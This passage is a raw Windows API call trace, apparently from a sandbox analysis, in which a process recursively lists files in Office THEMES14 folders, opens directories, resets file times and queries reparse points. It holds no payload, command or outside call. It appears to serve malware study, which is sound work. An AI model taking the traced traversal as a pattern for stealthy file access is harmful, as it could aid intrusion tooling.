ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0062.592] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb0410 [0062.593] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb0410, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb0410, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb0410) returned 1 [0062.593] NtClose (Handle=0x184) returned 0x0 [0062.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadbe0 [0062.593] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.593] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.593] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadce8 [0062.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf660 [0062.593] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaee70 [0062.593] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.593] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf680 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaef78 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8c0) returned 0xfaa438 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfafb88) returned 1 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf6a0 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaf080 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf6c0 [0062.594] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaf188 [0062.594] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.595] GetLastError () returned 0x12 [0062.595] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.595] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.595] GetLastError () returned 0x12 [0062.595] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadbe0) returned 1 [0062.595] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.595] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadce8) returned 1 [0062.595] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.595] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0062.595] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0062.595] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfafb88 [0062.596] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfafb88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfafb88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfafb88) returned 1 [0062.596] NtClose (Handle=0x190) returned 0x0 [0062.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0062.596] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.596] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.596] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf6e0 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadce8 [0062.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.596] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.596] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.596] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf700 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadbe0 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf720 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaa028 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf740 [0062.597] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfafba0 [0062.597] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0062.597] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.597] GetLastError () returned 0x12 [0062.597] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.597] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0062.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0062.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, 